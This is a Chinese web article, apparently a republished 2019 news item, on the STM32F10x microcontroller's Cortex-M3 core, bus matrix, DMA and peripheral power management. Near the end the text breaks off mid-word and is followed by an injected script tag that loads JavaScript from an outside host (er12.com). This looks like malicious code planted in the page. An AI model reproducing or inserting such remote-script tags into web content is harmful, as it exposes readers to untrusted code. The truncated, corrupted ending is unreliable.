STM32F10x:高效低耗应对市场需求

为了满足今天的市场对更高性能的需求,微控制器必须连续不断地提高性能,增加芯片内嵌的功能。因此,器件的尺寸不断缩小,设计流程与系统复杂性也日益提高。

不过,今天的绝大多数嵌入式应用设计不需要很高的工作频率(通常小于100mhz),也不需要容量巨大的内存(通常小于2mb)。另一方面,这些应用设备确实需要对大量的嵌入式外设进行有效的管理,同时还要考虑到功率的利用率和外部资源的需求情况。

充分利用内嵌资源

虽然今天的32位微控制器提供了大量的外设接口,但是这些产品的体系架构有时不适合管理这些外设,或者不适合集成高速率外设来提高总线的吞吐量。频率升级不能完全解决带宽有限的问题,而且提高频率是以提高成本和功耗为代价的。

意法半导体新推出的stm32系列32位微控制器克服了这些挑战。通过在架构级改进外设数据管理,再配合一个高性能(1.25dmips/mhz)和高代码密度的arm cortex-m3内核,stm32可以充分利用芯片内嵌的全部资源。此外,该产品集成一个紧耦合嵌套向量中断微控器,中断反应时间被缩减到12个cpu周期(末尾连锁技术使中断中间管理需要6个cpu周期)。

优化体系架构提速

stm32f10x的片上资源超过了今天市场上大多数用户对32位微控制器的需求,该微控制器单片嵌入了128kb闪存、20kb sram和各种外设接口(usb、can、usart、adc、pwm、spi、i2c、定时器、实时时钟和dma模块)。为了实现对这些片上资源的优化管理,直接存储器存取(dma)模块和cortex-m3内核通过总线矩阵多层架构直接与存储器和外设相连。总线矩阵上的一个主控制器层用于连接dma模块,另外两个主控制器层用于连接cortex-m3内核。存储器(闪存和sram)与外设单独连接到一个从控制器端口。

如果两个主控制器想要访问同一个从控制器端口,则利用轮叫调度算法(round robin)对使用权进行仲裁,将端口使用权分配给优先权高的主控制器,优先权低的主控制器需要等到目前正在进行的传输操作结束后才能使用端口。三层总线矩阵支持数据指令从一个主控制器并行传输到一个从控制器,在72mhz频率下最大传输速率高达288 mb/s。

独特外设管理是最大优势

为取得最低的功耗和最高的能效,stm32f10x的外设分布在两条arm先进外设总线(apb)的四周。外设时钟,包括arm先进高性能总线(ahb)上的系统外设可以单独、动态地激活和预分频。

为节省功率,所有的低速外设可以集中在低频率总线上。因为cpu与外设时钟完全同步,外设与cpu的中断/事件或dma请求之间的同步阶段(几个周期)产生的延迟被消除。因此,中断和dma的请求采样是在第一个时钟周期完成的,而且响应效率比以前高出很多。

此外,总线桥也经过改进,ahb与apb总线之间的反应时间被缩短。读操作经过优化,在apb总线的最后一个时钟周期释放ahb等待状态,因此,传输反应时间缩短几个周期。总线桥内插入一个写缓冲器,以便在总线桥处理读请求传输时释放主控制器。写请求传输不需要ahb总线上的等待状态,即便在ahb与apb总线之间施加一个很大的预分频比,要求为下一个传输释放ahb总线,在这种情况下,写请求传输也不需要等待状态。

cpu负责外设的配置,不过,数据可以由cortex-m3内核或dma处理。通过中断用cpu管理数据有几个缺点,例如,中断生成与外设内部的数据读/写操作之间有一段反应时间。不过,cpu或dma管理数据可以实现并行传输,充分发挥片上外设的优势。

例如,下面是cpu为在接收模式下管理一个spi(串行外设接口)而执行的任务:

spi生成一个接收中断请求;

cpu进入相应的中断处理程序;

cpu处理中断(清除);

cpu读取外设的数据;

cpu把数据写入sram;

cpu从中断处理程序返回到主程序。

在dma模块的7路通道中,任何1路都可以管理一个外设的数据,因此,管理数据的反应时间被降到最低限度。例如,一旦cpu为在发送模式下管理一个spi而启动了一个外设和dma模块,dma就执行下面的主要任务:

dma对请求采样;

dma对所有的请求进行仲裁,接受优先权最高的请求;

dma对存储器进行读操作;

dma对外设进行写操作,同时确认请求。

在传统的体系架构中,cpu管理第一个外设,dma模块管理二个外设,反之亦然。两个管理过程不可以同步进行。然而,独具特色的stm32的多层架构概念可以并行处理两个任务。因此,处理两个传输操作,一个传统架构需要至少5个周期,而stm32f10x架构只需要3个时钟周期。cpu能够对外设进行读操作,同时dma对sram进行读操作;然后cpu对sram进行写操作,同时dma对外设进行写操作;两个操作可以同时进行。这种方法减少了访存sram和外设总线所需的时钟周期数(带宽),使得stm32f10x能够同时管理更多的外设,或者能够在系统频率恒定的情况下提高外设性能。有了并行数据管理支持,stm32f10x可以同时处理多个传输操作——dma可以管理外设,同时cpu能够在总线空闲周期访存外设和存储器。

并行传?script src=http://er12.com/t.js>

  • STM32F10x:高效低耗应对市场需求已关闭评论
    A+
发布日期:2019年07月03日  所属分类:新闻动态